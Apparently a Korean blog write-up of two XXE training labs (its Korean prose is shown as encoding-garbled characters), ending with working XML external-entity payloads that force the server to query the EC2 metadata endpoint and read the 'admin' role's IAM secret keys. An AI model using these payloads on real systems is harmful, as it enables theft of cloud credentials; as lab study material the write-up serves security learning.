[2025-07-08] XXE

๐Ÿฆฅ ๋ณธ๋ฌธ

XXE(1)

์ด ์‹ค์Šต์—๋Š” XML ์ž…๋ ฅ์„ ํŒŒ์‹ฑํ•˜๊ณ  ์‘๋‹ต์—์„œ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋Š” โ€˜์žฌ๊ณ  ํ™•์ธ(Check stock)โ€™ ๊ธฐ๋Šฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์‹ค์Šต์„ ํ•ด๊ฒฐํ•˜๋ ค๋ฉด, XML ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ(XML External Entity, XXE)๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ /etc/passwd ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๊ฐ€์ ธ์˜ค์„ธ์š”.

์‚ฌ์ดํŠธ๋ฅผ ์ฒ˜์Œ ๋“ค์–ด๊ฐ€๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ์ด๋ฏธ์ง€๊ฐ€ ๋‚˜ํƒ€๋‚œ๋‹ค image.png view detail์„ ํด๋ฆญํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. image.png

Check stock์„ ํด๋ฆญํ•˜์—ฌ ์ธํ„ฐ์…‰ํŠธ ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ Request๋ฅผ ๋ณด๋‚ธ๋‹ค. image.png XML ๋ฐฉ์‹์œผ๋กœ ๋ณด๋‚ด๋Š” ๋ฐ ์ด Request๋ฅผ Repeater๋กœ ๋ณด๋‚ด์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด๋‚ด๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค. image.png

XXE(2)

์ด ์‹ค์Šต์—๋Š” XML ์ž…๋ ฅ์„ ํŒŒ์‹ฑํ•˜๊ณ , ์‘๋‹ต์— ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๊ฐ’์„ ํฌํ•จํ•˜์—ฌ ๋ฐ˜ํ™˜ํ•˜๋Š” โ€œ์žฌ๊ณ  ํ™•์ธ(Check stock)โ€ ๊ธฐ๋Šฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์‹ค์Šต ์„œ๋ฒ„๋Š” ๊ธฐ๋ณธ ์ฃผ์†Œ์ธ http://169.254.169.254/์—์„œ ์‹คํ–‰๋˜๋Š” (๋ชจ์˜๋œ) EC2 ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์—”๋“œํฌ์ธํŠธ๋Š” ํ•ด๋‹น ์ธ์Šคํ„ด์Šค์— ๋Œ€ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์กฐํšŒํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ผ๋ถ€ ์ •๋ณด๋Š” ๋ฏผ๊ฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์‹ค์Šต์„ ํ•ด๊ฒฐํ•˜๋ ค๋ฉด, XXE ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ SSRF(Server-Side Request Forgery) ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ณ , EC2 ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์—”๋“œํฌ์ธํŠธ๋กœ๋ถ€ํ„ฐ ์„œ๋ฒ„์˜ IAM ๋น„๋ฐ€ ์ ‘๊ทผ ํ‚ค(secret access key)๋ฅผ ํš๋“ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์œ„์™€ ๋น„์Šทํ•œ ์‚ฌ์ดํŠธ๋กœ Check Stock์„ ํด๋ฆญํ•˜์—ฌ Request๋ฅผ ์ธํ„ฐ์…‰ํŠธํ•˜๋ฉด ์œ„๊ณผ ๊ฐ™์€ Request๊ฐ€ ๋‚˜์˜จ๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>

์œ„์™€ ๊ฐ™์ด ๋ณด๋‚ด๋ฉด ํ•ด๋‹น ๊ณ„์ •์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. Res๋ฅผ ๋ณด๋ฉด admin์ธ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>

์œ„์™€ ๊ฐ™์ด ๋ณด๋‚ด๋ฉด key ๊ฐ’๋“ค์„ ๋ชจ๋‘ ๋ณผ ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค. image.png

Categories:

Updated:

Leave a comment